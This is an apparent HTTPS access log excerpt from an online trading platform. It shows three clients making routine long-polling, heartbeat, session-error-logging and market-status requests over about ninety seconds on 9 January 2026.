[09/Jan/2026:12:24:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932918282 HTTP/1.1" -
[09/Jan/2026:12:24:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932918905 HTTP/1.1" -
[09/Jan/2026:12:24:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932922600 HTTP/1.1" -
[09/Jan/2026:12:24:14 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932923517 HTTP/1.1" -
[09/Jan/2026:12:24:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932924069 HTTP/1.1" -
[09/Jan/2026:12:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932927647 HTTP/1.1" -
[09/Jan/2026:12:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932928683 HTTP/1.1" -
[09/Jan/2026:12:24:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932929209 HTTP/1.1" -
[09/Jan/2026:12:24:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932932694 HTTP/1.1" -
[09/Jan/2026:12:24:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932933882 HTTP/1.1" -
[09/Jan/2026:12:24:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932934301 HTTP/1.1" -
[09/Jan/2026:12:24:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932937729 HTTP/1.1" -
[09/Jan/2026:12:24:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932939084 HTTP/1.1" -
[09/Jan/2026:12:24:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932939409 HTTP/1.1" -
[09/Jan/2026:12:24:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932942760 HTTP/1.1" -
[09/Jan/2026:12:24:35 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932944229 HTTP/1.1" -
[09/Jan/2026:12:24:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932944541 HTTP/1.1" -
[09/Jan/2026:12:24:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932947806 HTTP/1.1" -
[09/Jan/2026:12:24:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932949382 HTTP/1.1" -
[09/Jan/2026:12:24:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:40 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932949721 HTTP/1.1" -
[09/Jan/2026:12:24:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932952842 HTTP/1.1" -
[09/Jan/2026:12:24:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932954732 HTTP/1.1" -
[09/Jan/2026:12:24:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932954912 HTTP/1.1" -
[09/Jan/2026:12:24:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932957867 HTTP/1.1" -
[09/Jan/2026:12:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:51 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932959911 HTTP/1.1" -
[09/Jan/2026:12:24:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932960149 HTTP/1.1" -
[09/Jan/2026:12:24:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932962916 HTTP/1.1" -
[09/Jan/2026:12:24:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932965151 HTTP/1.1" -
[09/Jan/2026:12:24:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932965235 HTTP/1.1" -
[09/Jan/2026:12:24:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:24:57 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:24:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932967940 HTTP/1.1" -
[09/Jan/2026:12:25:01 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932970304 HTTP/1.1" -
[09/Jan/2026:12:25:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932970381 HTTP/1.1" -
[09/Jan/2026:12:25:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932972968 HTTP/1.1" -
[09/Jan/2026:12:25:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932975555 HTTP/1.1" -
[09/Jan/2026:12:25:06 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932975559 HTTP/1.1" -
[09/Jan/2026:12:25:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932978014 HTTP/1.1" -
[09/Jan/2026:12:25:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932980703 HTTP/1.1" -
[09/Jan/2026:12:25:11 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932980783 HTTP/1.1" -
[09/Jan/2026:12:25:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932983053 HTTP/1.1" -
[09/Jan/2026:12:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932985883 HTTP/1.1" -
[09/Jan/2026:12:25:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932985911 HTTP/1.1" -
[09/Jan/2026:12:25:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932988095 HTTP/1.1" -
[09/Jan/2026:12:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932990935 HTTP/1.1" -
[09/Jan/2026:12:25:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932991092 HTTP/1.1" -
[09/Jan/2026:12:25:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932993152 HTTP/1.1" -
[09/Jan/2026:12:25:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932996009 HTTP/1.1" -
[09/Jan/2026:12:25:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932996343 HTTP/1.1" -
[09/Jan/2026:12:25:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:27 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:25:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932998183 HTTP/1.1" -
[09/Jan/2026:12:25:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933001141 HTTP/1.1" -
[09/Jan/2026:12:25:32 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933001509 HTTP/1.1" -
[09/Jan/2026:12:25:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933003217 HTTP/1.1" -
[09/Jan/2026:12:25:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933006301 HTTP/1.1" -
[09/Jan/2026:12:25:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933006753 HTTP/1.1" -
[09/Jan/2026:12:25:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933008264 HTTP/1.1" -
[09/Jan/2026:12:25:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:25:41 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:25:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933011430 HTTP/1.1" -
[09/Jan/2026:12:25:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767933011926 HTTP/1.1" -
